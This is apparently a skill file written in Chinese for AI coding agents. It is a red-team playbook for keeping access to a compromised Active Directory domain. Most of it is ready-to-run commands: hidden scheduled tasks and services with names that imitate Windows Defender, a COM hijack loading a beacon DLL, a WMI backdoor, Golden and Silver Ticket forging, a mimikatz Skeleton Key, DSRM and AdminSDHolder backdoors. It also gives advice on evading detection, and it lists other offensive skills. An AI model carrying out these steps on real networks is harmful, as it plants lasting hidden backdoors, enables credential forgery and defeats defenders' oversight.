skills/lateral/ad-persistence/SKILL.md
AD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
npx skillsauth add wgpsec/AboutSecurity ad-persistenceInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
获取高权限后的核心目标: 建立持久访问,确保重启/密码更改后仍能回到目标环境。
# 检查当前权限
whoami /priv
whoami /groups
# 是否为域管
net group "Domain Admins" /domain
# 是否为本地管理员
net localgroup Administrators
[开始] 需要建立持久化
|
v
[评估] 当前权限级别?
|
+-- 普通域用户 --> 先提权,持久化意义不大
|
+-- 本地管理员 / SYSTEM --> [主机级持久化] Phase 2
| |
| +-- 需要隐蔽 --> COM 劫持 / WMI 事件订阅
| +-- 需要可靠 --> 计划任务 / Windows 服务
| +-- 仅需用户级 --> 注册表 Run / 启动文件夹
|
+-- 域管理员 --> [域级持久化] Phase 3
|
+-- 有 krbtgt 哈希 --> Golden Ticket (最强)
+-- 有服务账户哈希 --> Silver Ticket (隐蔽)
+-- 有 DC 访问权限 --> Skeleton Key / DSRM
+-- 需要 ACL 后门 --> AdminSDHolder
| 技术 | 检测难度 | 持久时间 | 权限要求 | 推荐场景 | |------|----------|----------|----------|----------| | 计划任务 | 中 | 永久 | 用户/SYSTEM | 快速部署 | | 启动文件夹 | 低 | 永久 | 用户 | 临时/低价值 | | 注册表 Run | 中 | 永久 | 用户/SYSTEM | 通用 | | COM 劫持 | 高 | 永久 | 用户 | 长期隐蔽 | | Windows 服务 | 中 | 永久 | SYSTEM | 系统级访问 | | WMI 事件订阅 | 高 | 永久 | SYSTEM | 高隐蔽需求 | | Golden Ticket | 高 | 10 年 | krbtgt 哈希 | 域级最强 | | Silver Ticket | 高 | 票据有效期 | 服务账户哈希 | 不触及 DC | | Skeleton Key | 中 | 重启失效 | DC 内存访问 | 临时万能钥匙 | | DSRM | 高 | 永久 | DC 本地管理员 | 隐蔽后门 | | AdminSDHolder | 中 | 永久(60min 同步) | 域管理员 | ACL 持久化 |
权限: 用户级或 SYSTEM | 检测难度: 中
# SharPersist - 每小时执行
SharPersist.exe -t schtask -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc BASE64" -n "Updater" -m add -o hourly
# schtasks - 开机启动 / 定时执行
schtasks /create /tn "WinDefUpdate" /tr "C:\Windows\Temp\svc.exe" /sc onlogon /ru SYSTEM /f
schtasks /create /tn "HealthCheck" /tr "C:\Windows\Temp\svc.exe" /sc minute /mo 30 /ru SYSTEM /f
# 清理
schtasks /delete /tn "WinDefUpdate" /f
权限: 用户 | 检测难度: 低
SharPersist.exe -t startupfolder -c "powershell.exe" -a "-nop -w hidden -enc BASE64" -f "UserEnvSetup" -m add
# 路径: %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\
# 清理
Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\UserEnvSetup.lnk"
权限: 用户 (HKCU) / SYSTEM (HKLM) | 检测难度: 中
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinUpdate" /t REG_SZ /d "C:\ProgramData\updater.exe" /f
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinUpdate" /t REG_SZ /d "C:\ProgramData\updater.exe" /f
# 清理
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinUpdate" /f
更多注册表位置 (Winlogon Shell/Userinit, IFEO) 见 references/host-persistence.md
权限: 用户 | 检测难度: 高
原理: HKCU 中注册同 CLSID 的恶意 DLL,优先于 HKLM 中的正常组件被加载。
# 在 HKCU 创建劫持项 (HKLM 中已存在该 CLSID)
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{TARGET-CLSID}"
New-Item -Path "HKCU:Software\Classes\CLSID\{TARGET-CLSID}" -Name "InprocServer32" -Value "C:\Payloads\beacon.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{TARGET-CLSID}\InprocServer32" -Name "ThreadingModel" -Value "Both"
# 清理
Remove-Item -Path "HKCU:Software\Classes\CLSID\{TARGET-CLSID}" -Recurse
CLSID 发现方法 (procmon/计划任务枚举) 见 references/host-persistence.md
权限: SYSTEM | 检测难度: 中
sc create "WinDefSvc" binPath= "C:\Windows\legit-svc.exe" start= auto DisplayName= "Windows Defender Update"
sc start "WinDefSvc"
# 清理
sc stop "WinDefSvc" && sc delete "WinDefSvc"
SYSTEM 进程无法进行网络 NTLM 认证,应使用 SMB/TCP/DNS 通道而非 HTTP。
权限: SYSTEM | 检测难度: 高
三组件架构: EventFilter(触发条件) + EventConsumer(执行动作) + FilterToConsumerBinding(绑定)。
# PowerLurk 一键创建
Import-Module .\PowerLurk.ps1
Register-MaliciousWmiEvent -EventName WmiBackdoor -PermanentCommand "C:\Windows\artifact.exe" -Trigger ProcessStart -ProcessName notepad.exe
# 清理
Get-WmiEvent -Name WmiBackdoor | Remove-WmiObject
完整三组件 PowerShell/wmic 手动创建代码见 references/host-persistence.md
要求: krbtgt NTLM 哈希 (DCSync 获取) | 有效期: 默认 10 年
# Linux: DCSync + 伪造 + 使用
impacket-secretsdump DOMAIN/admin:PASS@DC_IP -just-dc-user krbtgt
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass domain.local/[email protected]
# Windows
Rubeus.exe golden /user:Administrator /domain:DOMAIN /sid:S-1-5-21-xxx /krbtgt:KRBTGT_HASH /ptt
清理: 两次更改 krbtgt 密码 (AD 保留前一次密码)。跨域场景 /sids 参数见 references。
要求: 服务账户 NTLM 哈希 | 优势: 不触及 DC
ticketer.py -nthash SVC_HASH -domain-sid S-1-5-21-xxx -domain domain.local -spn cifs/target.domain.local Administrator
Rubeus.exe silver /service:cifs/TARGET /user:Administrator /domain:DOMAIN /sid:S-1-5-21-xxx /rc4:SVC_HASH /ptt
常用 SPN: cifs/HOST(文件), HOST/DC(PsExec), MSSQLSvc/DB(SQL), LDAP/DC(DCSync)。清理: 更改服务账户密码。
要求: DC 内存访问 (域管 + SeDebugPrivilege) | 有效期: 直到 DC 重启
mimikatz # privilege::debug
mimikatz # misc::skeleton
# 所有域用户均可使用密码 "mimikatz" 登录,原密码仍有效
清理: 重启域控即可。仅内存级,需配合其他技术。
要求: DC 本地管理员 | 有效期: 永久
mimikatz # lsadump::sam # 获取 DSRM 哈希 (SAM 中 Administrator)
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD
sekurlsa::pth /domain:DC_HOSTNAME /user:Administrator /ntlm:DSRM_HASH /run:powershell.exe
清理: Remove-ItemProperty "HKLM:\...\Lsa\" -Name "DsrmAdminLogonBehavior"
要求: 域管理员 | SDProp 每 60 分钟同步 ACL 到所有受保护对象
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=domain,DC=local" -PrincipalIdentity attacker -Rights All
impacket-dacledit -action write -rights FullControl -principal attacker -target "CN=AdminSDHolder,CN=System,DC=domain,DC=local" DOMAIN/admin:PASS -dc-ip DC_IP
清理: Remove-DomainObjectAcl ... -PrincipalIdentity attacker -Rights All + 等 SDProp 同步
| 技术 | 安装命令 | 清理命令 |
|------|----------|----------|
| 计划任务 | schtasks /create /tn NAME ... | schtasks /delete /tn NAME /f |
| 启动文件夹 | SharPersist -m add | Remove-Item ...Startup\NAME.lnk |
| 注册表 Run | reg add ...Run /v NAME | reg delete ...Run /v NAME /f |
| COM 劫持 | New-Item HKCU:...CLSID | Remove-Item HKCU:...CLSID -Recurse |
| Windows 服务 | sc create NAME | sc stop NAME && sc delete NAME |
| WMI 事件 | Register-MaliciousWmiEvent | Get-WmiEvent NAME \| Remove-WmiObject |
| Golden Ticket | ticketer.py -nthash | 两次更改 krbtgt 密码 |
| Silver Ticket | ticketer.py -spn | 更改服务账户密码 |
| Skeleton Key | misc::skeleton | 重启域控制器 |
| DSRM | 修改 DsrmAdminLogonBehavior | 删除注册表项 |
| AdminSDHolder | Add-DomainObjectAcl | Remove-DomainObjectAcl + 等待 SDProp |
主机级:
- 任务名称模仿合法系统任务 (Windows Defender, Microsoft Update)
- 二进制文件放置在合法路径 (C:\Windows, C:\ProgramData)
- 使用 DLL 劫持而非独立 EXE
- WMI 触发条件设置合理间隔,避免频繁执行
域级:
- Golden Ticket 用户名使用真实存在的用户
- Silver Ticket 只针对需要的特定服务
- 避免跨域使用伪造票据 (日志异常)
- AdminSDHolder 添加低调权限而非 FullControl
最大持久性 (多层冗余):
域管: Golden Ticket + AdminSDHolder + 计划任务
本管: WMI 事件订阅 + COM 劫持 + 注册表 Run
最大隐蔽 (单一精准):
域管: Silver Ticket (仅特定服务,不触及 DC)
本管: COM 劫持 (DLL 形式,检测难度最高)
Invoke-ADSDPropagation| 工具 | 用途 | 平台 | |------|------|------| | SharPersist | 多种主机持久化技术 (任务/注册表/服务/COM/启动) | Windows | | PowerLurk | WMI 事件订阅 | Windows | | SharpStay | C# 持久化工具 | Windows | | Rubeus | Golden/Silver Ticket 创建 | Windows | | Mimikatz | Skeleton Key/DSRM/票据伪造 | Windows | | ticketer.py | Kerberos 票据伪造 (impacket) | Linux | | impacket-secretsdump | DCSync 获取哈希 | Linux | | impacket-dacledit | ACL 修改 (AdminSDHolder) | Linux | | Incognito | Token 窃取与模拟 | Windows |
testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能